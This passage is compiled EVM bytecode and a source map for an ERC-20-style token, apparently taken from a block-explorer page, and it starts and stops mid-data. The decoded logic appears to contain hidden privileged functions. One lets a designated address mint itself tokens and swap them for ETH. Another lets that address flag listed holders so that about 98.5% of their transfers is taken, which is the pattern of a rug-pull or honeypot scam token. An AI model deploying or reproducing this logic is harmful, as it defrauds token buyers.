ffffffffffffffffffffffffffffffffff1681526020019081526020016000205410156105ea57600080fd5b600190509392505050565b6000600154905090565b60015481565b60006106a7610612610e40565b8484600b6000610620610e40565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546106a291906118d5565b610ecf565b6001905092915050565b60025481565b6000600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b3373ffffffffffffffffffffffffffffffffffffffff1661071f6108b2565b73ffffffffffffffffffffffffffffffffffffffff1614610775576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161076c90611886565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b3373ffffffffffffffffffffffffffffffffffffffff166108526108b2565b73ffffffffffffffffffffffffffffffffffffffff16146108a8576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161089f90611886565b60405180910390fd5b8060038190555050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600580546108ea90611809565b80601f016020809104026020016040519081016040528092919081815260200182805461091690611809565b80156109635780601f1061093857610100808354040283529160200191610963565b820191906000526020600020905b81548152906001019060200180831161094657829003601f168201915b5050505050905090565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600081600b60006109a2610e40565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610a2557600080fd5b610abe610a30610e40565b8484600b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610ab99190611909565b610ecf565b6001905092915050565b6000610adc610ad5610e40565b848461102c565b6001905092915050565b610aee6112a2565b15610d8457610b2030600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610ecf565b81600960003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600267ffffffffffffffff811115610b8157610b8061193d565b5b604051908082528060200260200182016040528015610baf5781602001602082028036833780820191505090505b5090503081600081518110610bc757610bc661196c565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610c6e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c9291906119b0565b81600181518110610ca657610ca561196c565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478460008486426020610d3091906118d5565b6040518663ffffffff1660e01b8152600401610d50959493929190611ae0565b600060405180830381600087803b158015610d6a57600080fd5b505af1158015610d7e573d6000803e3d6000fd5b50505050505b5050565b60006001610d94611301565b610d9e91906118d5565b905060005b83839050811015610e3a57610db66112a2565b15610e275781600a6000868685818110610dd357610dd261196c565b5b9050602002016020810190610de89190611651565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8080610e3290611b3a565b915050610da3565b50505050565b600033905090565b6000600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610f0857600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610f4157600080fd5b80600b60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161101f91906115e3565b60405180910390a3505050565b600080600a60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054141580156110c35750611080611301565b600a60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205411155b6110cf576003546110f9565b6110f86103e86110ea6103d98561130990919063ffffffff16565b61138390919063ffffffff16565b5b9050600960008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111561114757600080fd5b80826111539190611909565b600960008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546111a191906118d5565b9250508190555081600960008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546111f79190611909565b92505081905550600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff160361123757600080fd5b8273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161129491906115e3565b60405180910390a350505050565b60006112ac610e40565b73ffffffffffffffffffffffffffffffffffffffff16600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614905090565b600043905090565b600080830361131b576000905061137d565b600082846113299190611b82565b90508284826113389190611bf3565b14611378576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161136f90611c96565b60405180910390fd5b809150505b92915050565b60008082116113c7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113be90611d02565b60405180910390fd5b600082846113d59190611bf3565b90508091505092915050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561141b578082015181840152602081019050611400565b60008484015250505050565b6000601f19601f8301169050919050565b6000611443826113e1565b61144d81856113ec565b935061145d8185602086016113fd565b61146681611427565b840191505092915050565b6000602082019050818103600083015261148b8184611438565b905092915050565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006114c88261149d565b9050919050565b6114d8816114bd565b81146114e357600080fd5b50565b6000813590506114f5816114cf565b92915050565b6000819050919050565b61150e816114fb565b811461151957600080fd5b50565b60008135905061152b81611505565b92915050565b6000806040838503121561154857611547611493565b5b6000611556858286016114e6565b92505060206115678582860161151c565b9150509250929050565b60008115159050919050565b61158681611571565b82525050565b60006020820190506115a1600083018461157d565b92915050565b6000602082840312156115bd576115bc611493565b5b60006115cb8482850161151c565b91505092915050565b6115dd816114fb565b82525050565b60006020820190506115f860008301846115d4565b92915050565b60008060006060848603121561161757611616611493565b5b6000611625868287016114e6565b9350506020611636868287016114e6565b92505060406116478682870161151c565b9150509250925092565b60006020828403121561166757611666611493565b5b6000611675848285016114e6565b91505092915050565b611687816114bd565b82525050565b60006020820190506116a2600083018461167e565b92915050565b600080604083850312156116bf576116be611493565b5b60006116cd8582860161151c565b92505060206116de858286016114e6565b9150509250929050565b600080fd5b600080fd5b600080fd5b60008083601f84011261170d5761170c6116e8565b5b8235905067ffffffffffffffff81111561172a576117296116ed565b5b602083019150836020820283011115611746576117456116f2565b5b9250929050565b6000806020838503121561176457611763611493565b5b600083013567ffffffffffffffff81111561178257611781611498565b5b61178e858286016116f7565b92509250509250929050565b600080604083850312156117b1576117b0611493565b5b60006117bf858286016114e6565b92505060206117d0858286016114e6565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061182157607f821691505b602082108103611834576118336117da565b5b50919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006118706020836113ec565b915061187b8261183a565b602082019050919050565b6000602082019050818103600083015261189f81611863565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006118e0826114fb565b91506118eb836114fb565b9250828201905080821115611903576119026118a6565b5b92915050565b6000611914826114fb565b915061191f836114fb565b9250828203905081811115611937576119366118a6565b5b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6000815190506119aa816114cf565b92915050565b6000602082840312156119c6576119c5611493565b5b60006119d48482850161199b565b91505092915050565b6000819050919050565b6000819050919050565b6000611a0c611a07611a02846119dd565b6119e7565b6114fb565b9050919050565b611a1c816119f1565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b611a57816114bd565b82525050565b6000611a698383611a4e565b60208301905092915050565b6000602082019050919050565b6000611a8d82611a22565b611a978185611a2d565b9350611aa283611a3e565b8060005b83811015611ad3578151611aba8882611a5d565b9750611ac583611a75565b925050600181019050611aa6565b5085935050505092915050565b600060a082019050611af560008301886115d4565b611b026020830187611a13565b8181036040830152611b148186611a82565b9050611b23606083018561167e565b611b3060808301846115d4565b9695505050505050565b6000611b45826114fb565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203611b7757611b766118a6565b5b600182019050919050565b6000611b8d826114fb565b9150611b98836114fb565b9250828202611ba6816114fb565b91508282048414831517611bbd57611bbc6118a6565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000611bfe826114fb565b9150611c09836114fb565b925082611c1957611c18611bc4565b5b828204905092915050565b7f536166654d6174683a20206d756c7469706c69636174696f6e206f766572666c60008201527f6f77000000000000000000000000000000000000000000000000000000000000602082015250565b6000611c806022836113ec565b9150611c8b82611c24565b604082019050919050565b60006020820190508181036000830152611caf81611c73565b9050919050565b7f536166654d6174683a20206469766973696f6e206279207a65726f0000000000600082015250565b6000611cec601b836113ec565b9150611cf782611cb6565b602082019050919050565b60006020820190508181036000830152611d1b81611cdf565b905091905056fea26469706673582212202d1aee2eb5df5cc86e1ff393858fd60b67ac4e3bf33dad0c9b0296f45d02eb4764736f6c63430008130033

Deployed Bytecode Sourcemap

2132:4506:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6048:71;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2209:159;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4382:80;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;4691:95;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4905:222;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3575:87;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2599:28;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2634:205;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2985:58;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5133:96;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1642:148;;;:::i;:::-;;4468:83;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;2054:71;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3707:87;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4137:31;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6125:247;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2845:134;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5545:497;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;3844:286;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;317:71;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2459:134;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6048:71;6087:13;6111:5;6104:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6048:71;:::o;2209:159::-;2283:4;2300:38;2309:11;:9;:11::i;:::-;2322:7;2331:6;2300:8;:38::i;:::-;2356:4;2349:11;;2209:159;;;;:::o;4382:80::-;1875:10;1864:21;;:7;:5;:7::i;:::-;:21;;;1856:66;;;;;;;;;;;;:::i;:::-;;;;;;;;;4452:2:::1;4443:6;:11;;;;4382:80:::0;:::o;4691:95::-;4737:7;4765:12;;4758:19;;4691:95;:::o;4905:222::-;4988:4;5005:30;5015:5;5022:3;5027:7;5005:9;:30::i;:::-;5089:7;5054:11;:18;5066:5;5054:18;;;;;;;;;;;;;;;:31;5073:11;:9;:11::i;:::-;5054:31;;;;;;;;;;;;;;;;:42;;5046:51;;;;;;5115:4;5108:11;;4905:222;;;;;:::o;3575:87::-;3618:7;3645:9;;3638:16;;3575:87;:::o;2599:28::-;;;;:::o;2634:205::-;2714:4;2731:78;2740:11;:9;:11::i;:::-;2753:7;2798:10;2762:11;:24;2774:11;:9;:11::i;:::-;2762:24;;;;;;;;;;;;;;;:33;2787:7;2762:33;;;;;;;;;;;;;;;;:46;;;;:::i;:::-;2731:8;:78::i;:::-;2827:4;2820:11;;2634:205;;;;:::o;2985:58::-;;;;:::o;5133:96::-;5190:7;5208:9;:18;5218:7;5208:18;;;;;;;;;;;;;;;;5201:25;;5133:96;;;:::o;1642:148::-;1875:10;1864:21;;:7;:5;:7::i;:::-;:21;;;1856:66;;;;;;;;;;;;:::i;:::-;;;;;;;;;1749:1:::1;1712:40;;1733:6;::::0;::::1;;;;;;;;1712:40;;;;;;;;;;;;1780:1;1763:6:::0;::::1;:19;;;;;;;;;;;;;;;;;;1642:148::o:0;4468:83::-;1875:10;1864:21;;:7;:5;:7::i;:::-;:21;;;1856:66;;;;;;;;;;;;:::i;:::-;;;;;;;;;4541:2:::1;4531:7;:12;;;;4468:83:::0;:::o;2054:71::-;2100:7;2117:6;;;;;;;;;;;2110:13;;2054:71;:::o;3707:87::-;3746:13;3779:7;3772:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3707:87;:::o;4137:31::-;;;;;;;;;;;;;:::o;6125:247::-;6198:4;6257:6;6223:11;:24;6235:11;:9;:11::i;:::-;6223:24;;;;;;;;;;;;;;;:30;6248:4;6223:30;;;;;;;;;;;;;;;;:40;;6215:49;;;;;;6275:67;6284:11;:9;:11::i;:::-;6297:4;6335:6;6303:11;:23;6315:10;6303:23;;;;;;;;;;;;;;;:29;6327:4;6303:29;;;;;;;;;;;;;;;;:38;;;;:::i;:::-;6275:8;:67::i;:::-;6360:4;6353:11;;6125:247;;;;:::o;2845:134::-;2914:4;2922:41;2932:11;:9;:11::i;:::-;2945:9;2956:6;2922:9;:41::i;:::-;2972:4;2965:11;;2845:134;;;;:::o;5545:497::-;5623:11;:9;:11::i;:::-;5619:416;;;5638:58;5655:4;5670:13;;;;;;;;;;;5687:8;5638;:58::i;:::-;5735:8;5708:9;:24;5726:4;5708:24;;;;;;;;;;;;;;;:35;;;;5754:26;5797:1;5783:16;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5754:45;;5835:4;5812:9;5822:1;5812:12;;;;;;;;:::i;:::-;;;;;;;:28;;;;;;;;;;;5869:13;;;;;;;;;;;:18;;;:20;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;5854:9;5864:1;5854:12;;;;;;;;:::i;:::-;;;;;;;:35;;;;;;;;;;;5902:13;;;;;;;;;;;:64;;;5967:8;5977:1;5980:9;5991;6007:15;6002:2;:20;;;;:::i;:::-;5902:121;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5636:399;5619:416;5545:497;;:::o;3844:286::-;3913:22;3955:1;3938:14;:12;:14::i;:::-;:18;;;;:::i;:::-;3913:43;;3972:11;3967:156;3999:10;;:17;;3990:6;:26;3967:156;;;4049:11;:9;:11::i;:::-;4045:67;;;4095:14;4063:9;:29;4073:10;;4084:6;4073:18;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;4063:29;;;;;;;;;;;;;;;:46;;;;4045:67;4019:8;;;;;:::i;:::-;;;;3967:156;;;;3901:229;3844:286;;:::o;317:71::-;359:7;376:10;369:17;;317:71;:::o;2459:134::-;2531:7;2558:11;:18;2570:5;2558:18;;;;;;;;;;;;;;;:27;2577:7;2558:27;;;;;;;;;;;;;;;;2551:34;;2459:134;;;;:::o;5236:258::-;5349:1;5330:21;;:7;:21;;;5322:30;;;;;;5388:1;5371:19;;:5;:19;;;5363:28;;;;;;5432:6;5402:11;:18;5414:5;5402:18;;;;;;;;;;;;;;;:27;5421:7;5402:27;;;;;;;;;;;;;;;:36;;;;5470:7;5454:32;;5463:5;5454:32;;;5479:6;5454:32;;;;;;:::i;:::-;;;;;;;;5236:258;;;:::o;3050:468::-;3134:17;3189:1;3169:9;:16;3179:5;3169:16;;;;;;;;;;;;;;;;:21;;:59;;;;;3214:14;:12;:14::i;:::-;3194:9;:16;3204:5;3194:16;;;;;;;;;;;;;;;;:34;;3169:59;3154:135;;3282:7;;3154:135;;;3242:26;3263:4;3242:16;3254:3;3242:7;:11;;:16;;;;:::i;:::-;:20;;:26;;;;:::i;:::-;3154:135;3134:155;;3319:9;:16;3329:5;3319:16;;;;;;;;;;;;;;;;3308:7;:27;;3300:36;;;;;;3376:9;3366:7;:19;;;;:::i;:::-;3348:9;:14;3358:3;3348:14;;;;;;;;;;;;;;;;:37;;;;;;;:::i;:::-;;;;;;;;3417:7;3396:9;:16;3406:5;3396:16;;;;;;;;;;;;;;;;:29;;;;;;;:::i;:::-;;;;;;;;3462:1;3445:19;;:5;:19;;;3437:28;;;;;;3497:3;3481:29;;3490:5;3481:29;;;3502:7;3481:29;;;;;;:::i;:::-;;;;;;;;3123:395;3050:468;;;:::o;4792:107::-;4836:4;4880:11;:9;:11::i;:::-;4860:31;;:16;;;;;;;;;;;:31;;;4853:38;;4792:107;:::o;4283:93::-;4329:7;4356:12;4349:19;;4283:93;:::o;608:223::-;666:7;695:1;690;:6;686:23;;706:1;699:8;;;;686:23;719:9;735:1;731;:5;;;;:::i;:::-;719:17;;764:1;759;755;:5;;;;:::i;:::-;:10;747:57;;;;;;;;;;;;:::i;:::-;;;;;;;;;822:1;815:8;;;608:223;;;;;:::o;1027:178::-;1085:7;1117:1;1113;:5;1105:45;;;;;;;;;;;;:::i;:::-;;;;;;;;;1161:9;1177:1;1173;:5;;;;:::i;:::-;1161:17;;1196:1;1189:8;;;1027:178;;;;:::o;7:99:1:-;59:6;93:5;87:12;77:22;;7:99;;;:::o;112:169::-;196:11;230:6;225:3;218:19;270:4;265:3;261:14;246:29;;112:169;;;;:::o;287:246::-;368:1;378:113;392:6;389:1;386:13;378:113;;;477:1;472:3;468:11;462:18;458:1;453:3;449:11;442:39;414:2;411:1;407:10;402:15;;378:113;;;525:1;516:6;511:3;507:16;500:27;349:184;287:246;;;:::o;539:102::-;580:6;631:2;627:7;622:2;615:5;611:14;607:28;597:38;;539:102;;;:::o;647:377::-;735:3;763:39;796:5;763:39;:::i;:::-;818:71;882:6;877:3;818:71;:::i;:::-;811:78;;898:65;956:6;951:3;944:4;937:5;933:16;898:65;:::i;:::-;988:29;1010:6;988:29;:::i;:::-;983:3;979:39;972:46;;739:285;647:377;;;;:::o;1030:313::-;1143:4;1181:2;1170:9;1166:18;1158:26;;1230:9;1224:4;1220:20;1216:1;1205:9;1201:17;1194:47;1258:78;1331:4;1322:6;1258:78;:::i;:::-;1250:86;;1030:313;;;;:::o;1430:117::-;1539:1;1536;1529:12;1553:117;1662:1;1659;1652:12;1676:126;1713:7;1753:42;1746:5;1742:54;1731:65;;1676:126;;;:::o;1808:96::-;1845:7;1874:24;1892:5;1874:24;:::i;:::-;1863:35;;1808:96;;;:::o;1910:122::-;1983:24;2001:5;1983:24;:::i;:::-;1976:5;1973:35;1963:63;;2022:1;2019;2012:12;1963:63;1910:122;:::o;2038:139::-;2084:5;2122:6;2109:20;2100:29;;2138:33;2165:5;2138:33;:::i;:::-;2038:139;;;;:::o;2183:77::-;2220:7;2249:5;2238:16;;2183:77;;;:::o;2266:122::-;2339:24;2357:5;2339:24;:::i;:::-;2332:5;2329:35;2319:63;;2378:1;2375;2368:12;2319:63;2266:122;:::o;2394:139::-;2440:5;2478:6;2465:20;2456:29;;2494:33;2521:5;2494:33;:::i;:::-;2394:139;;;;:::o;2539:474::-;2607:6;2615;2664:2;2652:9;2643:7;2639:23;2635:32;2632:119;;;2670:79;;:::i;:::-;2632:119;2790:1;2815:53;2860:7;2851:6;2840:9;2836:22;2815:53;:::i;:::-;2805:63;;2761:117;2917:2;2943:53;2988:7;2979:6;2968:9;2964:22;2943:53;:::i;:::-;2933:63;;2888:118;2539:474;;;;;:::o;3019:90::-;3053:7;3096:5;3089:13;3082:21;3071:32;;3019:90;;;:::o;3115:109::-;3196:21;3211:5;3196:21;:::i;:::-;3191:3;3184:34;3115:109;;:::o;3230:210::-;3317:4;3355:2;3344:9;3340:18;3332:26;;3368:65;3430:1;3419:9;3415:17;3406:6;3368:65;:::i;:::-;3230:210;;;;:::o;3446:329::-;3505:6;3554:2;3542:9;3533:7;3529:23;3525:32;3522:119;;;3560:79;;:::i;:::-;3522:119;3680:1;3705:53;3750:7;3741:6;3730:9;3726:22;3705:53;:::i;:::-;3695:63;;3651:117;3446:329;;;;:::o;3781:118::-;3868:24;3886:5;3868:24;:::i;:::-;3863:3;3856:37;3781:118;;:::o;3905:222::-;3998:4;4036:2;4025:9;4021:18;4013:26;;4049:71;4117:1;4106:9;4102:17;4093:6;4049:71;:::i;:::-;3905:222;;;;:::o;4133:619::-;4210:6;4218;4226;4275:2;4263:9;4254:7;4250:23;4246:32;4243:119;;;4281:79;;:::i;:::-;4243:119;4401:1;4426:53;4471:7;4462:6;4451:9;4447:22;4426:53;:::i;:::-;4416:63;;4372:117;4528:2;4554:53;4599:7;4590:6;4579:9;4575:22;4554:53;:::i;:::-;4544:63;;4499:118;4656:2;4682:53;4727:7;4718:6;4707:9;4703:22;4682:53;:::i;:::-;4672:63;;4627:118;4133:619;;;;;:::o;4758:329::-;4817:6;4866:2;4854:9;4845:7;4841:23;4837:32;4834:119;;;4872:79;;:::i;:::-;4834:119;4992:1;5017:53;5062:7;5053:6;5042:9;5038:22;5017:53;:::i;:::-;5007:63;;4963:117;4758:329;;;;:::o;5093:118::-;5180:24;5198:5;5180:24;:::i;:::-;5175:3;5168:37;5093:118;;:::o;5217:222::-;5310:4;5348:2;5337:9;5333:18;5325:26;;5361:71;5429:1;5418:9;5414:17;5405:6;5361:71;:::i;:::-;5217:222;;;;:::o;5445:474::-;5513:6;5521;5570:2;5558:9;5549:7;5545:23;5541:32;5538:119;;;5576:79;;:::i;:::-;5538:119;5696:1;5721:53;5766:7;5757:6;5746:9;5742:22;5721:53;:::i;:::-;5711:63;;5667:117;5823:2;5849:53;5894:7;5885:6;5874:9;5870:22;5849:53;:::i;:::-;5839:63;;5794:118;5445:474;;;;;:::o;5925:117::-;6034:1;6031;6024:12;6048:117;6157:1;6154;6147:12;6171:117;6280:1;6277;6270:12;6311:568;6384:8;6394:6;6444:3;6437:4;6429:6;6425:17;6421:27;6411:122;;6452:79;;:::i;:::-;6411:122;6565:6;6552:20;6542:30;;6595:18;6587:6;6584:30;6581:117;;;6617:79;;:::i;:::-;6581:117;6731:4;6723:6;6719:17;6707:29;;6785:3;6777:4;6769:6;6765:17;6755:8;6751:32;6748:41;6745:128;;;6792:79;;:::i;:::-;6745:128;6311:568;;;;;:::o;6885:559::-;6971:6;6979;7028:2;7016:9;7007:7;7003:23;6999:32;6996:119;;;7034:79;;:::i;:::-;6996:119;7182:1;7171:9;7167:17;7154:31;7212:18;7204:6;7201:30;7198:117;;;7234:79;;:::i;:::-;7198:117;7347:80;7419:7;7410:6;7399:9;7395:22;7347:80;:::i;:::-;7329:98;;;;7125:312;6885:559;;;;;:::o;7450:474::-;7518:6;7526;7575:2;7563:9;7554:7;7550:23;7546:32;7543:119;;;7581:79;;:::i;:::-;7543:119;7701:1;7726:53;7771:7;7762:6;7751:9;7747:22;7726:53;:::i;:::-;7716:63;;7672:117;7828:2;7854:53;7899:7;7890:6;7879:9;7875:22;7854:53;:::i;:::-;7844:63;;7799:118;7450:474;;;;;:::o;7930:180::-;7978:77;7975:1;7968:88;8075:4;8072:1;8065:15;8099:4;8096:1;8089:15;8116:320;8160:6;8197:1;8191:4;8187:12;8177:22;;8244:1;8238:4;8234:12;8265:18;8255:81;;8321:4;8313:6;8309:17;8299:27;;8255:81;8383:2;8375:6;8372:14;8352:18;8349:38;8346:84;;8402:18;;:::i;:::-;8346:84;8167:269;8116:320;;;:::o;8442:182::-;8582:34;8578:1;8570:6;8566:14;8559:58;8442:182;:::o;8630:366::-;8772:3;8793:67;8857:2;8852:3;8793:67;:::i;:::-;8786:74;;8869:93;8958:3;8869:93;:::i;:::-;8987:2;8982:3;8978:12;8971:19;;8630:366;;;:::o;9002:419::-;9168:4;9206:2;9195:9;9191:18;9183:26;;9255:9;9249:4;9245:20;9241:1;9230:9;9226:17;9219:47;9283:131;9409:4;9283:131;:::i;:::-;9275:139;;9002:419;;;:::o;9427:180::-;9475:77;9472:1;9465:88;9572:4;9569:1;9562:15;9596:4;9593:1;9586:15;9613:191;9653:3;9672:20;9690:1;9672:20;:::i;:::-;9667:25;;9706:20;9724:1;9706:20;:::i;:::-;9701:25;;9749:1;9746;9742:9;9735:16;;9770:3;9767:1;9764:10;9761:36;;;9777:18;;:::i;:::-;9761:36;9613:191;;;;:::o;9810:194::-;9850:4;9870:20;9888:1;9870:20;:::i;:::-;9865:25;;9904:20;9922:1;9904:20;:::i;:::-;9899:25;;9948:1;9945;9941:9;9933:17;;9972:1;9966:4;9963:11;9960:37;;;9977:18;;:::i;:::-;9960:37;9810:194;;;;:::o;10010:180::-;10058:77;10055:1;10048:88;10155:4;10152:1;10145:15;10179:4;10176:1;10169:15;10196:180;10244:77;10241:1;10234:88;10341:4;10338:1;10331:15;10365:4;10362:1;10355:15;10382:143;10439:5;10470:6;10464:13;10455:22;;10486:33;10513:5;10486:33;:::i;:::-;10382:143;;;;:::o;10531:351::-;10601:6;10650:2;10638:9;10629:7;10625:23;10621:32;10618:119;;;10656:79;;:::i;:::-;10618:119;10776:1;10801:64;10857:7;10848:6;10837:9;10833:22;10801:64;:::i;:::-;10791:74;;10747:128;10531:351;;;;:::o;10888:85::-;10933:7;10962:5;10951:16;;10888:85;;;:::o;10979:60::-;11007:3;11028:5;11021:12;;10979:60;;;:::o;11045:158::-;11103:9;11136:61;11154:42;11163:32;11189:5;11163:32;:::i;:::-;11154:42;:::i;:::-;11136:61;:::i;:::-;11123:74;;11045:158;;;:::o;11209:147::-;11304:45;11343:5;11304:45;:::i;:::-;11299:3;11292:58;11209:147;;:::o;11362:114::-;11429:6;11463:5;11457:12;11447:22;;11362:114;;;:::o;11482:184::-;11581:11;11615:6;11610:3;11603:19;11655:4;11650:3;11646:14;11631:29;;11482:184;;;;:::o;11672:132::-;11739:4;11762:3;11754:11;;11792:4;11787:3;11783:14;11775:22;;11672:132;;;:::o;11810:108::-;11887:24;11905:5;11887:24;:::i;:::-;11882:3;11875:37;11810:108;;:::o;11924:179::-;11993:10;12014:46;12056:3;12048:6;12014:46;:::i;:::-;12092:4;12087:3;12083:14;12069:28;;11924:179;;;;:::o;12109:113::-;12179:4;12211;12206:3;12202:14;12194:22;;12109:113;;;:::o;12258:732::-;12377:3;12406:54;12454:5;12406:54;:::i;:::-;12476:86;12555:6;12550:3;12476:86;:::i;:::-;12469:93;;12586:56;12636:5;12586:56;:::i;:::-;12665:7;12696:1;12681:284;12706:6;12703:1;12700:13;12681:284;;;12782:6;12776:13;12809:63;12868:3;12853:13;12809:63;:::i;:::-;12802:70;;12895:60;12948:6;12895:60;:::i;:::-;12885:70;;12741:224;12728:1;12725;12721:9;12716:14;;12681:284;;;12685:14;12981:3;12974:10;;12382:608;;;12258:732;;;;:::o;12996:831::-;13259:4;13297:3;13286:9;13282:19;13274:27;;13311:71;13379:1;13368:9;13364:17;13355:6;13311:71;:::i;:::-;13392:80;13468:2;13457:9;13453:18;13444:6;1